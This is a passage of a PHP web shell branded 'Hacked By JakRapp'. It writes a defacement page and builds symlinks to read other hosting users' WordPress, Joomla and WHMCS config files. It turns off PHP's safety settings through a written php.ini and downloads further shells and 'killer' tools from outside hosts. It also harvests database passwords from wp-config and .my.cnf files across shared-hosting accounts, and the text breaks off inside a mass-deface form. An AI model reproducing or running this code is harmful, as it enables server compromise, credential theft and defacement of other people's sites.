  1147. //-->
  1148. </Script>
  1149. <p>
  1150. <p>
  1151. <br><br><br><br><br><br><br><br>
  1152. <b><font color='blue' face='consolas' size='4'>
  1153. <p align='center' class='style2'><font face='Trajan Pro' size='10' color='Green' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='red'>Hacked By JakRapp</font><p><br><br>
  1154. <font color='blue' face='consolas' size='4'>
  1155. <p align='center' class='style2'><font face='Trajan Pro' size='4' color='Green' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b>JakRapp ~ ./Jaka_Attacker ~ UstadzJaka ~ ./Zonkk ~ Jack D'Ripper ~ ./KLEMEZ<p></font>
  1156. <font color='blue' face='consolas' size='4'><br><br>
  1157. <center><p align='center' class='style2'><font face='Trajan Pro' size='4' color='RED' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='WHITE'>
  1158. Pasukan Berani Mati | Indonesian Fighter Cyber
  1159. </font><p></center>
  1160. <center><p align='center' class='style2'><font face='Trajan Pro' size='4' color='RED' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='WHITE'>
  1161. Tidak ada seorangpun, hewan atau banci yang disakiti dalam hacking ini
  1162. </font><p></center>
  1163. <center><p align='center' class='style2'><font face='Trajan Pro' size='4' color='RED' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='WHITE'>
  1164. Jiwa Kegelapan Team</font></center>
  1165. <embed src='http://www.youtube.com/v/oWqWNMNFZlU&autoplay=1' type='application/x-shockwave-flash' wmode='transparent' width='1' height='1'></embed>
  1166. </body>
  1167. </html>
  1168. ";
  1169. $f =@fopen ('jakrapp.html','w');
  1170. fwrite($f , $htcs);
  1171. $pg = basename(__FILE__);
  1172.  
  1173.  
  1174. $pageURL = 'http://'.$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  1175. $u = explode("/",$pageURL );
  1176. $pageURL =str_replace($u[count($u)-1],"",$pageURL );
  1177.  
  1178. $pageFTP = 'ftp://'.$_SERVER["SERVER_NAME"].'/public_html/'.$_SERVER["REQUEST_URI"];
  1179. $u = explode("/",$pageFTP );
  1180. $pageFTP =str_replace($u[count($u)-1],"",$pageFTP );
  1181. ?>
  1182. <?php
  1183. if (isset($_GET['jak']) && ($_GET['jak'] == 'config')) {
  1184. ?>
  1185. <form action="?&amp;jak=config" method="post">
  1186. <?php @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('file_uploads',1);
  1187. echo '<form method="POST"><textarea cols="30" name="passwd" rows="10">'; $uSr=file("/etc/passwd"); foreach($uSr as $usrr) { $str=explode(":",$usrr); echo $str[0]."\n"; } ?>
  1188. </textarea><br>Your Folder Config Name : <input type="text" class="input" name="folfig" size=40 />
  1189. <select class="inp" title="Select Your Type File" name="type" size=""><option title="type txt" value=".txt">.txt</option><option title="type php" value=".php">.php</option><option title="type shtml" value=".shtml">.shtml</option><option title="type ini" value=".ini">.ini</option></select>
  1190. <input name="conf" size="80" class="ipt" value="Hajar..." type="submit"><br><br></form></center>
  1191. <?php @ini_set('html_errors',0); @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('file_uploads',1);
  1192. if ($_POST['conf']) {
  1193. $folfig = $_POST['folfig']; $type = $_POST['type'];
  1194. $functions=@ini_get("disable_functions"); if(eregi("symlink",$functions)){die ('<blink>Maaf Bosq fitur Symlink masih di disabled :( </blink>');}
  1195. @mkdir($folfig, 0755);
  1196. @chdir($folfig);
  1197. $htaccess="Options Indexes FollowSymLinks\nDirectoryIndex jak.phtml\nAddType txt .php\nAddHandler txt .php";
  1198. file_put_contents(".htaccess",$htaccess,FILE_APPEND);
  1199. $passwd=explode("\n",$_POST["passwd"]); echo "<blink><center >tunggu sebentar ya bosq ...</center></blink>";
  1200. foreach($passwd as $pwd){ $user=trim($pwd);
  1201. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'~~>wordpress'.$type.'');
  1202. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'~~>wordpress-wp'.$type.'');
  1203. @symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'~~>wordpress-wp-beta'.$type.'');
  1204. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'~~>wordpress-beta'.$type.'');
  1205. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'~~>wp13-press'.$type.'');
  1206. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'~~>wordpress-wordpress'.$type.'');
  1207. @symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'~~>wordpress-wordpress-beta'.$type.'');
  1208. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'~~>wordpress-news'.$type.'');
  1209. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'~~>wordpress-new'.$type.'');
  1210. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'~~>wordpress'.$type.'');
  1211. @symlink('/home/'.$user.'/public_html/web/wp-config.php',$user.'~~>wordpress-web'.$type.'');
  1212. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'~~>wordpress-blogs'.$type.'');
  1213. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'~~>wordpress-home'.$type.'');
  1214. @symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'~~>wordpress-protal'.$type.'');
  1215. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'~~>ordpress-site'.$type.'');
  1216. @symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'~~>wordpress-main'.$type.'');
  1217. @symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'~~>wordpress-test'.$type.'');
  1218. @symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'~~>joomla'.$type.'');
  1219. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'~~>joomla'.$type.'');
  1220. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'~~>joomla-home'.$type.'');
  1221. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'~~>joomla-joomla'.$type.'');
  1222. @symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'~~>joomla-protal'.$type.'');
  1223. @symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'~~>joomla-joo'.$type.'');
  1224. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'~~>joomla-cms'.$type.'');
  1225. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'~~>joomla-site'.$type.'');
  1226. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'~~>joomla-main'.$type.'');
  1227. @symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'~~>joomla-news'.$type.'');
  1228. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'~~>joomla-new'.$type.'');
  1229. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'~~>joomla-home'.$type.'');
  1230. @symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'~~>Vbulletin-forum'.$type.'');
  1231. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'~~>vbluttin'.$type.'');
  1232. @symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'~~>vbluttin3'.$type.'');
  1233. @symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'~~>vbluttin-class_core.php'.$type.'');
  1234. @symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'~~>vbluttin-class_core.php1'.$type.'');
  1235. @symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'~~>vbluttin-class_core.php2'.$type.'');
  1236. @symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'~~>vb1-config'.$type.'');
  1237. @symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$user.'~~>cpanel'.$type.'');
  1238. @symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'~~>panel'.$type.'');
  1239. @symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'~~>host'.$type.'');
  1240. @symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'~~>hosting'.$type.'');
  1241. @symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'~~>hosts'.$type.'');
  1242. @symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'~~>zencart'.$type.'');
  1243. @symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'~~>zencart-shop'.$type.'');
  1244. @symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'~~>hop-ZCshop'.$type.'');
  1245. @symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'~~>mk-portale1'.$type.'');
  1246. @symlink('/home/'.$user.'/public_html/Settings.php',$user.'~~>smf'.$type.'');
  1247. @symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'~~>smf-smf'.$type.'');
  1248. @symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'~~>smf-forum'.$type.'');
  1249. @symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'~~>smf-forums'.$type.'');
  1250. @symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'~~>upload'.$type.'');
  1251. @symlink('/home/'.$user.'/public_html/incl/config.php',$user.'~~>malay'.$type.'');
  1252. @symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'~~>clents'.$type.'');
  1253. @symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'~~>client2'.$type.'');
  1254. @symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'~~>client'.$type.'');
  1255. @symlink('/home/'.$user.'/public_html/config/koneksi.php',$user.'~~>lokomedia'.$type.'');
  1256. @symlink('/home/'.$user.'/public_html/admin/config.php',$user.'~~>webconfig'.$type.'');
  1257. @symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'~~>webconfig2'.$type.'');
  1258. @symlink('/home/'.$user.'/public_html/system/sistem.php',$user.'~~>lokomedia1'.$type.'');
  1259. @symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'~~>Drupal'.$type.'');
  1260. @symlink('/home/'.$user.'/public_html/e107_config.php',$user.'~~>e107'.$type.'');
  1261. @symlink('/home/'.$user.'/public_html/datas/config.php',$user.'~~>Seditio'.$type.'');
  1262. @symlink('/home/'.$user.'/public_html/article/config.php',$user.'~~>Nwahy'.$type.'');
  1263. @symlink('/home/'.$user.'/public_html/connect.php',$user.'~~>PHP-Fusion'.$type.'');
  1264. @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'~~>traidnt1'.$type.'');
  1265. @symlink('/home/'.$user.'/public_html/config.php',$user.'~~>4images'.$type.'');
  1266. @symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'~~>1member'.$type.'') ;
  1267. @symlink('/home/'.$user.'/public_html/requires/config.php',$user.'~~>AM4SS-hosting'.$type.'');
  1268. @symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'~~>hostbills-supports'.$type.'');
  1269. @symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'~~>hostbills-client'.$type.'');
  1270. @symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'~~>hostbills-support'.$type.'');
  1271. @symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'~~>hostbills-billing'.$type.'');
  1272. @symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'~~>hostbills-billings'.$type.'');
  1273. @symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'~~>hostbills-host'.$type.'');
  1274. @symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'~~>hostbills-hosts'.$type.'');
  1275. @symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'~~>hostbills-hosting'.$type.'');
  1276. @symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'~~>hostbills-hostings'.$type.'');
  1277. @symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'~~>hostbills'.$type.'');
  1278. @symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'~~>hostbills-hostbills'.$type.'');
  1279. @symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'~~>hostbills-hostbill'.$type.'');
  1280. @symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'~~>billing'.$type.'');
  1281. @symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'~~>whm-manage'.$type.'');
  1282. @symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'~~>whm-my'.$type.'');
  1283. @symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'~~>whm-myshop'.$type.'');
  1284. @symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'~~>sucure-whm'.$type.'');
  1285. @symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'~~>sucure-whmcs'.$type.'');
  1286. }
  1287. echo 'Selesai mas/mba bro untuk melihat hasilnya klik ~~> <blink><a href='.$folfig.'>'.$folfig.'</a></blink>';
  1288. }
  1289. }
  1290. ?>
  1291. <?php
  1292. if (isset($_GET['jak']) && ($_GET['jak'] == 'auto')) {
  1293. ?>
  1294. <form action="?&amp;jak=auto" method="post">
  1295. <?php
  1296. echo "<html><head><title>MATAMU PICEK !!!!</title>";
  1297. echo "<body bgcolor='black'>";
  1298. echo "<font color='yellow'><center>-=[ IDBTE4M ]=- -=[ HGL10]=- -=[ BN ]=-</center></font><br/><br/><form method='POST'>";
  1299. echo "<div align='center'>";
  1300. echo "<input type='submit' name='jak' value='IJIN SERVER'><br/> <br/>";
  1301. echo "</div>";
  1302. echo "<div align='center'>";
  1303. echo "<input type='submit' name='te4m' value='-=[ HsH ]=-'> ";
  1304. echo "<input type='submit' name='te4m1' value='-=[ AUTO ]=-'> ";
  1305. echo "<input type='submit' name='te4m2' value='-=[ WHM KILL ]=-'> ";
  1306. echo "<input type='submit' name='te4m3' value='-=[ DM SHELL ]=-'> ";
  1307. echo "<input type='submit' name='te4m4' value='-=[ BN CGI ]=-'></p> ";
  1308. echo "<input type='submit' name='te4m5' value='-=[ SABUN ]=-'></p> ";
  1309. echo "<input type='submit' name='te4m6' value='-=[ WHMCS KILL ]=-'></p> ";
  1310. echo "</div>";
  1311.  
  1312.  
  1313. $sh = 'file_get_contents';
  1314.  
  1315. if($_POST['jak']) {
  1316. $ini = "php.ini";
  1317. $open = fopen($ini, 'w');
  1318. $source = ("safe_mode = OFF n
  1319. disable_functions = NONE n
  1320. safe_mode_gid = OFF n
  1321. open_basedir = OFF n
  1322. register_globals = ON n
  1323. exec = ON n
  1324. shell_exec = ON n");
  1325. fwrite($open, $source);
  1326. echo "<font color='lime'>";
  1327. if($open) {
  1328. echo '<hr><p>ijin diterima, silahkan pilih tools sesuai keinginan :) </p>';
  1329. }
  1330. else {
  1331. echo "<font color='red'>";
  1332. echo '<hr><p>GAGAL kang </p>';
  1333. echo "</font>";
  1334. fclose($open);
  1335. } }
  1336.  
  1337. if($_POST['te4m']) {
  1338. $cgi = 'http://el-ro.yu.tl/files/in.zip';
  1339. $get11 = $sh($cgi);
  1340. $idbk = fopen('hsh.php', 'w');
  1341. fwrite($idbk,$get11);
  1342. fclose($idbk);
  1343. {
  1344. @chmod('hsh.php',0755);
  1345. }
  1346. echo "<font color='aqua'>";
  1347. echo "<hr>shell hsh sukses dibuat :D <br/>
  1348. Silahkan kunjungi http://alamat-domain-kamu/hsh.php atau lihat hasilnya <a href='hsh.php' target='_blank'>DISINI</a></center></br>";
  1349. echo "</font>";
  1350. }
  1351. echo "</font>";
  1352.  
  1353. if($_POST['te4m1']) {
  1354. $cgi = 'http://kefiex.yu.tl/files/ma.zip';
  1355. $get11 = $sh($cgi);
  1356. $idbk = fopen('ma.php', 'w');
  1357. fwrite($idbk,$get11);
  1358. fclose($idbk);
  1359. {
  1360. @chmod('ma.php',0755);
  1361. }
  1362. echo "<font color='aqua'>";
  1363. echo "<hr>tools sukses dibuat :D <br/>
  1364. Silahkan kunjungi http://alamat-domain-kamu/info.php atau lihat hasilnya <a href='ma.php' target='_blank'>DISINI</a></center></br>";
  1365. echo "</font>";
  1366. }
  1367. echo "</font>";
  1368.  
  1369. if($_POST['te4m2']) {
  1370. $cgi = 'http://el-ro.yu.tl/files/whm.zip';
  1371. $get11 = $sh($cgi);
  1372. $idbk = fopen('whm.php', 'w');
  1373. fwrite($idbk,$get11);
  1374. fclose($idbk);
  1375. {
  1376. @chmod('whm.php',0755);
  1377. }
  1378. echo "<font color='aqua'>";
  1379. echo "<hr>whm killer sukses dibuat :D <br/>
  1380. Silahkan kunjungi http://alamat-domain-kamu/whm.php atau lihat hasilnya <a href='whm.php' target='_blank'>DISINI</a></center></br>";
  1381. echo "</font>";
  1382. }
  1383. echo "</font>";
  1384.  
  1385. if($_POST['te4m3']) {
  1386. $cgi = 'http://el-ro.yu.tl/files/dm.zip';
  1387. $get11 = $sh($cgi);
  1388. $idbk = fopen('links.php', 'w');
  1389. fwrite($idbk,$get11);
  1390. fclose($idbk);
  1391. {
  1392. @chmod('links.php',0755);
  1393. }
  1394. echo "<font color='aqua'>";
  1395. echo "<hr>shell DM sukses dibuat :D <br/>
  1396. Silahkan kunjungi http://alamat-domain-kamu/links.php atau lihat hasilnya <a href='links.php' target='_blank'>DISINI</a></center></br>";
  1397. echo "</font>";
  1398. }
  1399. echo "</font>";
  1400. if($_POST['te4m5']) {
  1401. $cgi = 'http://kefiex.yu.tl/files/sabun.zip';
  1402. $get11 = $sh($cgi);
  1403. $idbk = fopen('sabun.php', 'w');
  1404. fwrite($idbk,$get11);
  1405. fclose($idbk);
  1406. {
  1407. @chmod('sabun.php',0755);
  1408. }
  1409. echo "<font color='aqua'>";
  1410. echo "<hr>sabun massal :D <br/>
  1411. Silahkan kunjungi http://alamat-domain-kamu/sabun.php atau lihat hasilnya <a href='sabun.php' target='_blank'>DISINI</a></center></br>";
  1412. echo "</font>";
  1413. }
  1414. echo "</font>";
  1415. if($_POST['te4m6']) {
  1416. $cgi = 'http://kefiex.yu.tl/files/olenk.zip';
  1417. $get11 = $sh($cgi);
  1418. $idbk = fopen('bn.php', 'w');
  1419. fwrite($idbk,$get11);
  1420. fclose($idbk);
  1421. {
  1422. @chmod('bn.php',0755);
  1423. }
  1424. echo "<font color='aqua'>";
  1425. echo "<hr>config kill :D <br/>
  1426. Silahkan kunjungi http://alamat-domain-kamu/bn.php atau lihat hasilnya <a href='bn.php' target='_blank'>DISINI</a></center></br>";
  1427. echo "</font>";
  1428. }
  1429. echo "</font>";
  1430. if($_POST['te4m4']) {
  1431. $cgi = 'http://kefiex.yu.tl/files/isis.zip';
  1432. $get11 = $sh($cgi);
  1433. $idb1k = fopen('idb2.php', 'w');
  1434. fwrite($idb1k,$get11);
  1435. fclose($idb1k);
  1436. {
  1437. @chmod('idb2.php',0755);
  1438. }
  1439. echo "<font color='aqua'>";
  1440. echo "<hr>CGIProxy sukses dibuat :D <br/>
  1441. Silahkan kunjungi http://alamat-domain-kamu/.pl atau lihat hasilnya <a href='idb2.php' target='_blank'>DISINI</a></center></br>";
  1442. echo "</font>";
  1443. }
  1444. echo "</font>";
  1445. }
  1446. ?>
  1447.  
  1448. <?php
  1449. if (isset($_GET['jak']) && ($_GET['jak'] == 'wp2')) { ?>
  1450. <form action="?jak=wp2" method="post">
  1451. <?php
  1452. @ini_set('display_errors',0);
  1453. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  1454. $ar0=explode($marqueurDebutLien, $text);
  1455. $ar1=explode($marqueurFinLien, $ar0[$i]);
  1456. return trim($ar1[0]);
  1457. }
  1458.  
  1459. echo "<center>";
  1460. $d0mains = @file('/etc/named.conf');
  1461. $domains = scandir("/var/named");
  1462.  
  1463. if ($domains or $d0mains)
  1464. {
  1465. $domains = scandir("/var/named");
  1466. if($domains) {
  1467. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> wp-config </th></tr>";
  1468. $count=1;
  1469. $dc = 0;
  1470. $list = scandir("/var/named");
  1471. foreach($list as $domain){
  1472. if(strpos($domain,".db")){
  1473. $domain = str_replace('.db','',$domain);
  1474. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1475. $dirz = '/home/'.$owner['name'].'/public_html/wp-config.php';
  1476. $path = getcwd();
  1477.  
  1478. if (is_readable($dirz)) {
  1479. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  1480. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  1481. $password=entre2v2($p,'password="','"');
  1482. echo "<tr><td>".$count++."</td><td><a href='http://".$domain."/wp-login.php' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  1483. $dc++;
  1484. }
  1485.  
  1486. }
  1487. }
  1488. echo '</table>';
  1489. $total = $dc;
  1490. echo '<br><div class="result">Wp config Found = '.$total.'</h3><br />';
  1491. echo '</center>';
  1492. }else{
  1493. $d0mains = @file('/etc/named.conf');
  1494. if($d0mains) {
  1495. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> wp-config </th></tr>";
  1496. $count=1;
  1497. $dc = 0;
  1498. $mck = array();
  1499. foreach($d0mains as $d0main){
  1500. if(@eregi('zone',$d0main)){
  1501. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1502. flush();
  1503. if(strlen(trim($domain[1][0])) >2){
  1504. $mck[] = $domain[1][0];
  1505. }
  1506. }
  1507. }
  1508. $mck = array_unique($mck);
  1509. $usr = array();
  1510. $dmn = array();
  1511. foreach($mck as $o) {
  1512. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  1513. $usr[] = $infos['name'];
  1514. $dmn[] = $o;
  1515. }
  1516. array_multisort($usr,$dmn);
  1517. $dt = file('/etc/passwd');
  1518. $passwd = array();
  1519. foreach($dt as $d) {
  1520. $r = explode(':',$d);
  1521. if(strpos($r[5],'home')) {
  1522. $passwd[$r[0]] = $r[5];
  1523. }
  1524. }
  1525. $l=0;
  1526. $j=1;
  1527. foreach($usr as $r) {
  1528. $dirz = '/home/'.$r.'/public_html/wp-config.php';
  1529. $path = getcwd();
  1530. if (is_readable($dirz)) {
  1531. copy($dirz, ''.$path.'/'.$r.'.txt');
  1532. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  1533. $password=entre2v2($p,'password="','"');
  1534. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  1535. $dc++;
  1536. flush();
  1537. $l=$l?0:1;
  1538. $j++;
  1539. }
  1540. }
  1541. }
  1542. echo '</table>';
  1543. $total = $dc;
  1544. echo '<br><div class="result">Total config Found = '.$total.'</h3><br />';
  1545. echo '</center>';
  1546.  
  1547. }
  1548. }else{
  1549. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  1550. }
  1551. echo "<center>";
  1552. $d0mains = @file('/etc/named.conf');
  1553. $domains = scandir("/var/named");
  1554.  
  1555. if ($domains or $d0mains)
  1556. {
  1557. $domains = scandir("/var/named");
  1558. if($domains) {
  1559. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> config </th></tr>";
  1560. $count=1;
  1561. $dc = 0;
  1562. $list = scandir("/var/named");
  1563. foreach($list as $domain){
  1564. if(strpos($domain,".db")){
  1565. $domain = str_replace('.db','',$domain);
  1566. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1567. $dirz = '/home/'.$owner['name'].'/public_html/configuration.php';
  1568. $path = getcwd();
  1569.  
  1570. if (is_readable($dirz)) {
  1571. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  1572. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  1573. $password=entre2v2($p,'password="','"');
  1574. echo "<tr><td>".$count++."</td><td><a href='http://".$domain."/wp-login.php' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  1575. $dc++;
  1576. }
  1577.  
  1578. }
  1579. }
  1580. echo '</table>';
  1581. $total = $dc;
  1582. echo '<br><div class="result">Total config Found = '.$total.'</h3><br />';
  1583. echo '</center>';
  1584. }else{
  1585. $d0mains = @file('/etc/named.conf');
  1586. if($d0mains) {
  1587. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> config </th></tr>";
  1588. $count=1;
  1589. $dc = 0;
  1590. $mck = array();
  1591. foreach($d0mains as $d0main){
  1592. if(@eregi('zone',$d0main)){
  1593. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1594. flush();
  1595. if(strlen(trim($domain[1][0])) >2){
  1596. $mck[] = $domain[1][0];
  1597. }
  1598. }
  1599. }
  1600. $mck = array_unique($mck);
  1601. $usr = array();
  1602. $dmn = array();
  1603. foreach($mck as $o) {
  1604. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  1605. $usr[] = $infos['name'];
  1606. $dmn[] = $o;
  1607. }
  1608. array_multisort($usr,$dmn);
  1609. $dt = file('/etc/passwd');
  1610. $passwd = array();
  1611. foreach($dt as $d) {
  1612. $r = explode(':',$d);
  1613. if(strpos($r[5],'home')) {
  1614. $passwd[$r[0]] = $r[5];
  1615. }
  1616. }
  1617. $l=0;
  1618. $j=1;
  1619. foreach($usr as $r) {
  1620. $dirz = '/home/'.$r.'/.my.cnf';
  1621. $path = getcwd();
  1622. if (is_readable($dirz)) {
  1623. copy($dirz, ''.$path.'/'.$r.'.txt');
  1624. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  1625. $password=entre2v2($p,'password="','"');
  1626. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  1627. $dc++;
  1628. flush();
  1629. $l=$l?0:1;
  1630. $j++;
  1631. }
  1632. }
  1633. }
  1634. echo '</table>';
  1635. $total = $dc;
  1636. echo '<br><div class="result">Total cp = '.$total.'</h3><br />';
  1637. echo '</center>';
  1638.  
  1639. }
  1640. }else{
  1641. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  1642. }
  1643.  
  1644. echo "<br>&#169; <font color='#FF0000'>./elro-BN404</font> | BN-IDBTE4M";
  1645. echo "</body></html>";
  1646. }
  1647. ?>
  1648. <?php
  1649. if (isset($_GET['jak']) && ($_GET['jak'] == 'wpmas')) { ?>
  1650. <form action="?jak=wpmas" method="post">
  1651. <style>
  1652. body
  1653. {
  1654. background: #0f0e0d;
  1655. color: #FF9933;
  1656. padding: 0px;
  1657. }
  1658. a:link, body_alink
  1659. {
  1660. color: #FF9933;
  1661. text-decoration: none;
  1662. }
  1663. a:visited, body_avisited
  1664. {
  1665. color: #FF9933;
  1666. text-decoration: none;
  1667. }
  1668. a:hover, a:active, body_ahover
  1669. {
  1670. color: #FFFFFF;
  1671. text-decoration: none;
  1672. }
  1673. td, th, p, li,table
  1674. {
  1675.  
  1676. background: #2e2b28;
  1677. border:1px solid #524f46;
  1678. }
  1679. input
  1680. {
  1681. border: 1px solid;
  1682. cursor: default;
  1683.  
  1684. overflow: hidden;
  1685. background: #2e2b28;
  1686. color: #ffffff;
  1687. }textarea
  1688. {
  1689. border: 1px solid;
  1690. cursor: default;
  1691.  
  1692. overflow: hidden;
  1693. background: #2e2b28;
  1694. color: #ffffff;
  1695. }
  1696. button
  1697. {
  1698. border: 1px solid;
  1699. cursor: default;
  1700.  
  1701. overflow: hidden;
  1702. background: #2e2b28;
  1703. color: #ffffff;
  1704. }
  1705. </style>
  1706. </head>
  1707. <body bgcolor="black">
  1708. </center>
  1709. <form method="POST" action="" >
  1710. <center>
  1711. <table border='1'><tr><td>List of All Symlink</td><td>
  1712. <input type="text" name="url" size="100" value="list.txt"></td></tr>
  1713. <tr><td>Index</td><td>
  1714. <textarea name="index" cols='50' rows='10' >
  1715. <html>
  1716. <head>
  1717. <title>Hacked By JakRapp</title>
  1718. <meta content='Hacked By JakRapp' name='description'/>
  1719. <meta content='Hacked By JakRapp, Tested By JakRapp, JakRapp Was Here, wned By JakRapp, JakRapp Come Back, Security By JakRapp, Tusboled By JakRapp, Anon JakRapp, Hacker JakRapp, Haxor JakRapp, JakRapp One Comando, sabun by jakrapp, JakRapp Defacer, Deface By JakRapp' name='keywords'/>
  1720. <meta content='index,follow' name='robots'/>
  1721. <link href='http://www.jakrapp.com/favicon.ico' rel='icon' type='image/x-icon'/>
